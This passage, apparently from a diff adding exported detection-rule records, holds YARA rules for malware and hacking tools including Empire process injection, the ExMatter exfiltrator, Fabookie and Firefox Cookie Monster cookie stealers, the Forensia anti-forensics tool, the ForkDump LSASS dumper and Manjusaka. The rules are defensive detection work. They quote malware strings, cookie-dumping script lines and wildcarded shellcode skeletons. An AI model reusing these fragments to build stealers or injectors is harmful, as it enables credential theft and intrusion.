?? ?? ?? ?? ??       // movabs rdx, ?????????\n            ff d2                               // call rdx\n            48 ba ?? ?? ?? ?? ?? ?? ?? ??       // movabs rdx, ?????????\n            48 89 02                            // mov qword [rdx], rax\n            48 89 dc                            // mov rsp, rbx\n            5b                                  // pop rbx\n            c3                                  // ret\n        }\n\n        // https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/management/Invoke-PSInject.ps1#L1411\n        // #Write Shellcode to the remote process which will call GetProcAddress\n        $GetProcAddressSC1_64 = {\n            53                                  // push rbx\n            48 89 E3                            // mov rbx, rsp\n            48 83 EC 20                         // sub rsp, 0x20\n            66 83 E4 C0                         // and sp, 0xffc0\n            48 B9 ?? ?? ?? ?? ?? ?? ?? ??       // movabs rcx, ???????\n            48 BA ?? ?? ?? ?? ?? ?? ?? ??       // movabs rdx, ???????\n            48 B8 ?? ?? ?? ?? ?? ?? ?? ??       // movabs rax, ???????\n            FF D0                               // call rax\n            48 B9 ?? ?? ?? ?? ?? ?? ?? ??       // movabs rcx, ???????\n            48 89 01                            // mov qword ptr [rcx], rax\n            48 89 DC                            // mov rsp, rbx\n            5B                                  // pop rbx\n            C3                                  // ret\n        }\n\n        $GetProcAddressSC1_32 = {\n            53                                  // push ebx\n            89 e3                               // mov ebx, esp\n            83 e4 c0                            // and esp, 0xffffffc0\n            b8 ?? ?? ?? ??                      // mov eax, ???????\n            b9 ?? ?? ?? ??                      // mov ecx, ???????\n            51                                  // push ecx\n            50                                  // push eax\n            b8 ?? ?? ?? ??                      // mov eax, ???????\n            ff d0                               // call eax\n            b9 ?? ?? ?? ??                      // mov ecx, ???????\n            89 01                               // mov dword [ecx], eax\n            89 dc                               // mov esp, ebx\n            5b                                  // pop ebx\n            c3                                  // ret\n        }\n\n        // https://github.com/BC-SECURITY/Empire/blob/master/data/module_source/management/Invoke-PSInject.ps1#L2472\n        // #Shellcode: CallDllMain.asm\n        $CallDllMainS_64 = {\n            53                                  // push rbx\n            48 89 E3                            // mov rbx, rsp\n            66 83 E4 00                         // and sp, 0\n            48 B9 ?? ?? ?? ?? ?? ?? ?? ??       // movabs rcx, ???????\n            BA 01 00 00 00                      // mov edx, 1\n            41 B8 00 00 00 00                   // mov r8d, 0\n            48 B8 ?? ?? ?? ?? ?? ?? ?? ??       // movabs rax, ???????\n            FF D0                               // call rax\n            48 89 DC                            // mov rsp, rbx\n            5B                                  // pop rbx\n            C3                                  // ret\n        }\n\n        $CallDllMainS_32 = {\n            53                                  // push ebx\n            89 e3                               // mov ebx, esp\n            83 e4 f0                            // and esp, 0xfffffff0\n            b9 ?? ?? ?? ??                      // mov ecx, ????\n            ba 01 00 00 00                      // mov edx, 1\n            b8 00 00 00 00                      // mov eax, 0\n            50                                  // push eax\n            52                                  // push edx\n            51                                  // push ecx\n            b8 ?? ?? ?? ??                      // mov eax, ????\n            ff d0                               // call eax\n            89 dc                               // mov esp, ebx\n            5b                                  // pop ebx\n            c3                                  // ret\n        }\n\n    condition:\n        1 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "empire_invoke_psinject"
+  ],
+  "rule_creation_date": "2020-11-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Empire"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-exmatter_exfiltrator_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585192Z",
+  "creation_date": "2026-03-23T11:46:25.585194Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585200Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1048/\nhttps://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.exmatter"
+  ],
+  "name": "exmatter_exfiltrator.yar",
+  "content": "rule exmatter_exfiltrator {\n    meta:\n        title = \"ExMatter Exfiltrator\"\n        id = \"683c0cef-5102-484b-96a2-e7d6afafc2c3\"\n        description = \"Detects ExMatter, an exfiltrator used by the BlackCat Ransomware group.\\nBlackCat is a Ransomware-as-a-Service (RaaS) group that emerged in November 2021.\\nThis group uses ExMatter, a .NET-based exfiltrator, to steal data from victims' computers before encryption.\\nIt is recommended to investigate the host for data exfiltration and further malicious activities linked with ransomware.\"\n        references = \"https://attack.mitre.org/techniques/T1048/\\nhttps://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack\\nhttps://malpedia.caad.fkie.fraunhofer.de/details/win.exmatter\"\n        date = \"2022-12-16\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.exfiltration;attack.t1048\"\n        os = \"Windows\"\n        classification = \"Windows.HackTool.ExMatter\"\n        context = \"process,memory,thread,file.pe\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // fd102a2d650e12121782e63be11dc189fc6361c77b683a8d447c97357c071861\n\n        $s1 = \"Stop-Process -Id {0}; Start-Sleep 3; Set-Content -Path '{1}' -Value 0\" ascii wide fullword\n        $s2 = \"SeTakeOwnershipPrivilege\" ascii wide fullword\n        $s3 = \"if-modn{sign{rsa-pkcs1-sha1},encrypt{rsa-pkcs1v2-oaep}}\" ascii wide fullword\n        $s4 = \"type=deactivation&hash=\" ascii wide fullword\n\n    condition:\n        all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "exmatter_exfiltrator"
+  ],
+  "rule_creation_date": "2022-12-16",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.ExMatter"
+  ],
+  "rule_tactic_tags": [
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-fabookie_stealer_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568356Z",
+  "creation_date": "2026-03-23T11:46:25.568358Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568364Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://urlhaus.abuse.ch/browse/signature/Fabookie/"
+  ],
+  "name": "fabookie_stealer.yar",
+  "content": "rule fabookie_stealer_second_stage {\n    meta:\n        title = \"Fabookie Stealer Second Stage\"\n        id = \"9450aa6a-10e9-475c-9453-39f85894516e\"\n        description = \"Detects Fabookie Stealer Second Stage.\\nFabookie Stealer is malware designed to steal Facebook session cookies from infected systems. The second stage of its operation involves extracting these cookies and making unauthorized API requests to gather detailed user information, including connected accounts and payment methods. These activities can enable attackers to impersonate victims or misuse their accounts for fraudulent purposes.\\nIt is recommended to isolate the affected system and conduct a thorough investigation to remove any malicious processes or files associated with Fabookie.\"\n        references = \"https://urlhaus.abuse.ch/browse/signature/Fabookie/\"\n        date = \"2023-09-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1555.003\"\n        classification = \"Windows.Stealer.Fabookie\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 2c389fe6cbdf4948992278c96a3341f7d05659c5fd913d8eccea651961f496fd\n\n        $api_strings_1 = \"Mozilla/5.0 (Windows\" wide\n        $api_strings_2 = \"https://www.facebook.com/\" wide fullword\n        $api_strings_3 = \"https://adsmanager.facebook.com/ads/manager/accounts\" wide fullword\n        $api_strings_4 = \"https://business.facebook.com/api/graphql/\" wide fullword\n        $api_strings_5 = \"&fb_api_caller_class=RelayModern&fb_api_req_friendly_name=Billing\" ascii\n\n        // Before every call Facebook API call, formats strings according to their types to build the URLs.\n        // Should happen at least 10 times for all the calls.\n\n        $string_formatting_setup = {\n            90                            // nop\n            49 ?? ??                      // mov     rdx, r12\n            48 ?? ?? ?? ?? ?? ?? 00       // lea     rcx, [rsp+698h+var_4C8]\n            E8 ?? ?? ?? ??                // call    sub_180005160\n            90                            // nop\n        }\n\n    condition:\n        all of ($api_strings_*) and #string_formatting_setup > 10\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "fabookie_stealer_second_stage"
+  ],
+  "rule_creation_date": "2023-09-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.Fabookie"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-firefox-cookie-monster_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584565Z",
+  "creation_date": "2026-03-23T11:46:25.584567Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584573Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/wunderwuzzi23/firefox-cookiemonster\nhttps://attack.mitre.org/techniques/T1539/"
+  ],
+  "name": "firefox-cookie-monster.yar",
+  "content": "rule firefox_cookie_monster {\n    meta:\n        title = \"Firefox Cookie Monster\"\n        id = \"d97a5462-205f-485f-96a6-109795b48e6a\"\n        description = \"Detects Firefox Cookie Monster, a debug client for cookie stealing written in Go.\\nThis tool enables attackers to decrypt and retrieve browser cookies by exploiting Firefox's debug features, potentially leading to unauthorized access of sensitive data.\\nIt is recommended to investigate any stolen data from the browser and to look for further malicious activities on the host.\"\n        references = \"https://github.com/wunderwuzzi23/firefox-cookiemonster\\nhttps://attack.mitre.org/techniques/T1539/\"\n        date = \"2023-03-30\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1539\"\n        classification = \"Windows.HackTool.FirefoxCookieMonster\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 764b7b52806de2f036b7d82ec348f425bf42d3d581349c601fef00c54070f7b4\n\n        $s1 = \"Services.cookies.cookies.forEach(async function (cookie) {\" ascii\n        $s2 = \"output = output+cookie.name+\\\":\\\"+cookie.value+\\\":\\\"+cookie.rawHost+\" ascii\n        $s3 = \"internal/syscall/windows/registry.Key.GetStringValue\" ascii\n        $s4 = \"syscall.RegEnumKeyEx\" ascii\n\n        // This is a list of methods invoked on the debug server\n        $server1 = \"serverN.connN.parentProcessTarget\" ascii\n        $server2 = \"serverN.connN.processDescriptorN\" ascii\n        $server3 = \"serverN.connN.consoleActorN\" ascii\n        $server4 = \"server2.connN.longstractorN\" ascii\n        $server5 = \"evaluateJSAsync\" ascii\n        $server6 = \"omitempty\" ascii\n        $server7 = \"testConnectionPrefix\" ascii\n        $server8 = \"processDescriptor\" ascii\n\n        $canary = \"9d0b20fd101102721591b00d31cc169b303747bf831ba0beebcc68f887c3e23fe199f3bbddca97d802232ca53d68895c7c94c92b1e0af4a1176f5738588c279b\"\n\n    condition:\n        (all of ($s*) or all of ($server*)) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "firefox_cookie_monster"
+  ],
+  "rule_creation_date": "2023-03-30",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.FirefoxCookieMonster"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-forensia_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576575Z",
+  "creation_date": "2026-03-23T11:46:25.576577Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576583Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/PaulNorman01/Forensia\nhttps://attack.mitre.org/techniques/T1070/"
+  ],
+  "name": "forensia.yar",
+  "content": "rule forensia_generic {\n    meta:\n        title = \"Forensia anti-forensics Tool\"\n        id = \"75e99373-fe49-475c-acf8-724a26ccb038\"\n        description = \"Detects Forensia anti-forensics tool.\\nForensia is an anti-forensics tool designed for red-teamers. It is typically used during the post-exploitation phase by attackers to cover their tracks. The tool provides several capabilities including the removal of Windows Event Logs, unloading the Sysmon driver, and clearing ShellBags to hinder forensic analysis.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/PaulNorman01/Forensia\\nhttps://attack.mitre.org/techniques/T1070/\"\n        date = \"2023-01-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1070;attack.t1070.001;attack.t1489\"\n        classification = \"Windows.Tool.Forensia\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 510c6896ab176ad04a534ed48a3c74957ca929accbaf277ee1d678eac6bf3b36\n\n        $logo_1 = \"    ______                           _\" fullword wide\n        $logo_2 = \"   / ____/___  ________  ____  _____(_)___ _\" fullword wide\n        $logo_3 = \"  / /_  / __ \\\\/ ___/ _ \\\\/ __ \\\\/ ___/ / __ \\\\`/\" fullword wide\n        $logo_4 = \" / __/ / /_/ / /  /  __/ / / (__  ) / /_/ / \" fullword wide\n        $logo_5 = \"/_/    \\\\____/_/   \\\\___/_/ /_/____/_/\\\\__,_/  \" fullword wide\n\n        $help_1 = \"Remove ShellBags\" fullword wide\n        $help_2 = \"Clear ShimCache\" fullword wide\n        $help_3 = \"Delete RecentFileCache.bcf\" fullword wide\n        $help_4 = \"Clear Recent Items\" fullword wide\n        $help_5 = \"Melt Me!\" fullword wide\n\n        $info_1 = \"Deleting RecentFileCache.bcf, However It May Not Exist!\" fullword wide\n        $info_2 = \"Clearing Shim Cache Data...\" fullword wide\n        $info_3 = \"Clearing Recent Items...\" fullword wide\n        $info_4 = \"Melting The Executable...Goodbye!\" fullword wide\n        $info_5 = \"Minifilter Successfully Unloaded\" fullword wide\n\n    condition:\n        (uint16(0) == 0x5a4d) and (\n            all of ($info_*)\n            or 2 of ($logo_*)\n            or 3 of ($help_*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "forensia_generic"
+  ],
+  "rule_creation_date": "2023-01-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Forensia"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070",
+    "attack.t1070.001",
+    "attack.t1489"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-forkdump_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567790Z",
+  "creation_date": "2026-03-23T11:46:25.567792Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567798Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/D4stiny/ForkPlayground/\nhttps://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "forkdump.yar",
+  "content": "rule forkdump {\n    meta:\n        title = \"ForkDump HackTool\"\n        id = \"ca42f731-9f50-4fd6-9e53-b84cb7ec8569\"\n        description = \"Detects the ForkDump HackTool.\\nForkDump is a credential dumper that uses a forked process to dump LSASS memory silently. It typically creates a child process to escalate debug privileges, allowing it to capture sensitive information. The rule identifies activities indicative of ForkDump's operation, such as error messages related to debug privilege escalation and file operations.\"\n        references = \"https://github.com/D4stiny/ForkPlayground/\\nhttps://attack.mitre.org/techniques/T1003/001/\"\n        date = \"2024-01-05\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.001\"\n        classification = \"Windows.HackTool.ForkDump\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 9d53c20aa668c2f8b7dab96dca2e4f411a50d917715de5a887ae259d4ec6dad2\n        // 6e25af11ddd954c5e6ee5d94bd0feca63721d16e9fc6e5240f9e99c1b605010c\n        // f76885e4a5e373823657fd0c3b1fd7e2a8af1e758d2d1dabcda5d62999a1cb7c\n        // a3acb9f79647f813671c1a21097a51836b0b95397ebc9cd178bc806e1773c864\n\n        $s1 = \"Failed to escalate debug privileges, are you running ForkDump as Administrator?\" ascii fullword\n        $s2 = \"Failed to open the token of the current process with the last error %i.\" ascii fullword\n        $s3 = \"Failed to lookup the current debug privilege with the last error %i.\" ascii fullword\n        $s4 = \"ForkDump.exe [dump file name] [target process ID]\" ascii fullword\n        $s5 = \"Failed to open dump file %s with the last error %i.\" ascii fullword\n        $s6 = \"Failed to take a snapshot of the target process. Attempting to escalate debug privilege...\" ascii fullword\n        $s7 = \"Failed to escalate debug privileges, are you running ForkDump as Administrator?\" ascii fullword\n        $s8 = \"Escalated debug privileges, attempting to take another snapshot.\" ascii fullword\n        $s9 = \"Second attempt at taking a snapshot of the target failed. It is likely that there is a difference in process privilege or the handle was stripped.\" ascii fullword\n        $s10 = \"Failed to create a dump of the forked process with the last error %i.\" ascii fullword\n        $s11 = \"Successfully dumped process %i to %s!\" ascii fullword\n\n    condition:\n        3 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "forkdump"
+  ],
+  "rule_creation_date": "2024-01-05",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.ForkDump"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-framework_manjusaka_c2_server_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576693Z",
+  "creation_date": "2026-03-23T11:46:25.576695Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576701Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html"
+  ],
+  "name": "framework_manjusaka_c2_server.yar",
+  "content": "rule manjusaka_c2_server {\n    meta:\n        title = \"Manjusaka C2 Server\"\n        id = \"e9170f6d-3709-43c8-8685-4a80be0c6047\"\n        description = \"Detects the Manjusaka C2 server associated with the Manjusaka attacker framework.\\nManjusaka is a sophisticated attacker framework initially discovered in August 2022 by Talos Intelligence. It is designed to establish command-and-control (C2) communication and perform malicious activities on compromised systems.\\nThis rule identifies the C2 server by detecting specific configuration strings and patterns indicative of Manjusaka's infrastructure.\\nIt is recommended to isolate the affected system and monitor for any additional malicious activities linked to Manjusaka's attack vector.\"\n        references = \"https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html\"\n        date = \"2022-08-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001\"\n        classification = \"Linux.Framework.Manjusaka\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // ff20333d38f7affbfde5b85d704ee20cd60b519cb57c70e0cf5ac1f65acf91a6\n\n        $s1 = \"Manjusaka\" ascii\n        $s2 = \"__PRODUCTION__MANJUSAKA__CONF__\" ascii\n\n        $contains_hex_gzip_archives = \"1f8b08\" ascii\n\n    condition:\n        uint16(0) == 0x457f and filesize < 40MB and all of ($s*) and #contains_hex_gzip_archives > 10\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "manjusaka_c2_server"
+  ],
+  "rule_creation_date": "2022-08-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Framework.Manjusaka"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-framework_manjusaka_rust_beacon_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569707Z",
+  "creation_date": "2026-03-23T11:46:25.569709Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569715Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html"
+  ],
+  "name": "framework_manjusaka_rust_beacon.yar",
+  "content": "rule manjusaka_rust_beacon {\n    meta:\n        title = \"Manjusaka Rust Beacon\"\n        id = \"e03150a0-65ff-475a-9491-6640523a2cb0\"\n        description = \"Detects the Manjusaka Rust Beacon, a new attacker framework discovered in August 2022 by Talos Intelligence.\\nManjusaka is a multi-component attacker framework known for its lateral movement and persistence capabilities. Its Rust-based beacons are designed to communicate with command and control servers.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html\"\n        date = \"2022-08-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Framework.Manjusaka\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 8e9ecd282655f0afbdb6bd562832ae6db108166022eb43ede31c9d7aacbcc0d8\n\n        $s1 = \"SELECT * FROM MSAcpi_ThermalZoneTemperature\" fullword wide\n        $s2 = \"CurrentTemperature\" fullword wide\n        $s3 = \"CriticalTripPoint\" fullword wide\n\n        $date_manipulation = {\n            48 C1 E8 3F           // shr     rax, 3Fh\n            48 C1 FA 0D           // sar     rdx, 0Dh\n            48 01 C2              // add     rdx, rax\n            48 69 C2 80 51 01 00  // imul    rax, rdx, 15180h\n            48 29 C1              // sub     rcx, rax\n            B8 80 51 01 00        // mov     eax, 15180h\n            48 8D 3C 01           // lea     rdi, [rcx+rax]\n            48 85 C9              // test    rcx, rcx\n            48 0F 49 F9           // cmovns  rdi, rcx\n            48 C1 F9 3F           // sar     rcx, 3Fh\n            01 D1                 // add     ecx, edx\n            81 C1 3B F9 0A 00     // add     